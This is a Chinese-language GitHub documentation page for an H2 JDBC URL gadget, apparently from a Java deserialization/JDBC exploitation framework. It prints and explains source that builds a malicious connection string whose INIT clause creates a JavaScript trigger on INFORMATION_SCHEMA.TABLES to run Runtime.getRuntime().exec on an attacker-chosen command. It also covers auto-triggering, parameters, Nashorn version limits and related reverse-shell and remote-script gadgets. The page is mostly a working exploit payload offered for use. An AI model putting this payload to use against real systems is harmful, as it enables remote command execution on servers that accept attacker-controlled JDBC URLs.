Skip to content

Latest commit

 

History

History
57 lines (46 loc) · 3.39 KB

File metadata and controls

57 lines (46 loc) · 3.39 KB

H2 JDBC URL js命令执行(H2JsExecJdbc)

  • 类别:common 别名:— 优先级:30
  • 作者:—
  • 依赖com.h2database:h2org.h2.Driver

作用

面向「JDBC URL 可控」场景:生成一段 H2 恶意 JDBC 连接串,利用 INIT 在连接时创建一个 JavaScript(//javascript)触发器,触发器体内直接 java.lang.Runtime.getRuntime().exec(cmd) 执行任意命令。产物是一个 JDBC URL String,是 JDBC-URL 利用链的终端 sink

链接标签

  • 入口 tagsH2JdbcUrlJdbcUrlChainsEND——JDBC URL 注入家族,终端节点,需由能消费可控 JDBC URL 的上游驱动。
  • 衔接 nextTags:无(终端)。
  • excludes:无。

源码剖析

@Param(name="命令", description="eg: cmd /c calc")
public String cmd = "cmd /c calc";
public String driverClassName = "org.h2.Driver";

public String getObject() {
    return "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n"
         + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n"
         + "java.lang.Runtime.getRuntime().exec('" + this.cmd + "')\n"
         + "$$\n";
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
    return this.getObject();
}

逐段解释:

  • jdbc:h2:mem:test;MODE=MSSQLServer:内存库,切到 MSSQLServer 兼容模式(便于对 INFORMATION_SCHEMA.TABLES 建触发器)。
  • init=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES:在系统表 INFORMATION_SCHEMA.TABLES 上建一个 BEFORE SELECT 触发器。H2 建立连接后往往会读取该系统表,从而自动触发该触发器,无需攻击者再手动执行查询。
  • AS $$//javascript ... $$:H2 触发器体支持用 $$...$$ 包裹脚本,首行 //javascript 声明脚本语言为 JavaScript(H2 走 Nashorn/脚本引擎),绕开「触发器必须实现 org.h2.api.Trigger」的常规限制。体内 Runtime.getRuntime().exec(cmd) 直接执行命令。
  • invoke:与同族一致,仅写入 DRIVER_CLASS_NAME_KEY=org.h2.Driver 并返回 URL;不调用 chain.doCreate,自足终端。

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 要执行的系统命令 cmd /c calc

driverClassName 为固定字段 org.h2.Driver,非 @Param。)

适用版本与原理要点

  • 依赖 H2 触发器允许 //javascript 内联脚本,且目标 JRE 具备可用的 JS 脚本引擎(如 Nashorn,JDK 8~14 内置;JDK 15+ 已移除 Nashorn,需环境额外提供)。
  • exec(cmd) 单参数会按空格粗暴分词,复杂命令需注意 cmd /c / sh -c 包裹与引号转义。
  • 相比 H2JavaReverseJdbc(内联 Java 反弹 shell)与 H2RemoteJdbc(远程 RUNSCRIPT),本 gadget 最短小,但受 Nashorn 可用性约束。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。与「JDBC URL 可控」类上游组合使用。

关联

  • 同族(H2 JDBC URL sink):H2JavaReverseJdbcH2RemoteJdbcH2JavaJdbc1
  • 上游(消费 H2JdbcUrl / JdbcUrlChains):HikariJdbcAttackDruidJdbcAttackFastjsonH2Jdbc 等触发 getConnection(url) 的组件。